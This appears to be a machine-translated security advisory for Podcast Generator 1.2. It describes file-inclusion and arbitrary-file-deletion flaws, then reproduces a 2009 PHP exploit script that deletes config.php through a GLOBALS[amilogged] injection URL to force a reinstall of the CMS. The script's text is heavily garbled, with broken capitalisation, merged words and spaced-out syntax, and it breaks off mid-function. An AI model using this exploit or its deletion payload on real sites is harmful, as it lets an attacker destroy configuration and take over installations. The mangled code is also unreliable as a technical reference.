Affected Versions:
Podcast Generator 1.2
Program introduction:
Podcast Generator is a free Podcast release script written in PHP.
Vulnerability Analysis:
Podcast Generator core/archive_cat.php, core/admin/itunescategories. php and core/admin/login. the php page does not properly filter the input transmitted by the GLOBALS [absoluteurl] parameter, core/themes. the php page does not properly filter input transmitted by the GLOBALS [theme_path] parameter, which may be used to include arbitrary files of local or external resources. In addition, the core/admin/delete. the php page does not properly filter input transmitted by the file and ext parameters, which may cause the deletion of arbitrary files. Successful exploitation of these vulnerabilities requires that register_globals be enabled.
Vulnerability Exploitation:
- <? Php
- #
- # Podcast Generator <= 1.2 unauthorized CMS Re-Installation Remote Exploit
- #
- # By staker
- #--------------------------------------
- # Mail: staker [at] hotmail [dot] it
- # Url: http:// Podcastgen.sourceforge.net
- #--------------------------------------
- #
- # It works with register_globals = on
- #
- # Short explanation:
- #
- #----------------------------------------
- # Podcast Generator contains one flaw that
- # Allows an attacker to re-install the cms
- # Because of unlink () inDelete. phpFile
- #----------------------------------------
- # Look/Core/admin/delete. php
- # (Removed authors comments)
- /*
-
- <? Php
- If (isset ($ _ REQUEST [absoluteurl]) OR isset ($ _ REQUEST [amilogged]) OR isset ($ _ REQUEST [theme_path])
- {Exit ;}< -------- {1}
-
- If ($ amilogged! = "True") {exit ;}< ------- {2}
-
- If (isset ($ _ GET [file]) AND $ _ GET [file]! = NULL ){
- $ File = $ _ GET [file];
- $ Ext = $ _ GET [ext];
-
- If (file_exists ("$ absoluteurl $ upload_dir $ file. $ ext ")){
- Unlink ("$ upload_dir $ file. $ ext"); <-------- {3}
- $ PG_mainbody. = "<p> <B> $ file. $ ext </B> $ L_deleted </p> ";
- }
-
-
- */
- #
- # Explanation (code snippet abve [points])
- # Renewal #-----------------------------------------------------------------------------------
- #1. blocks allAmiloggedREQUEST variables, what about GLOBALS ?, Therefore useless!
- #2.If AmiloggedIsnt true->Exit()FunctionActivated.
- #3. unlink ()DeleteAn existing file.
- # Renewal #-----------------------------------------------------------------------------------
- #
- # ItS possible to deleteConfig. phpTo re-install the cms. we needAmilogged
- # Set to true. We canDoIt using a GLOBALS variable.
- #
- # Admin/core/Delete. Php? GLOBALS [amilogged] = true & file =.../../config & ext = php
- #
- # Various:
- #--------------------------------------------------
- # They didnt help me but I want to give a thanks
- # Girex, skerno, Chaomel, XaDoS, Dante90AndGianluka_95
- #--------------------------------------------------
- # Today is: 02 June 2009.
- # Location: Italy, Turin.
- # Http:// Www.youtube.com/watch? V = dBc7mK5iAH0
- #--------------------------------------------------
-
- Error_reporting(E_STRICT ^ E_WARNING );
-
- If($ Argc<2) start_usage ();
-
- $ Host=$ Argv[1];
- $ Path=$ Argv[2];
-
- Re_install ();
-
- FunctionSend_request ($ Data)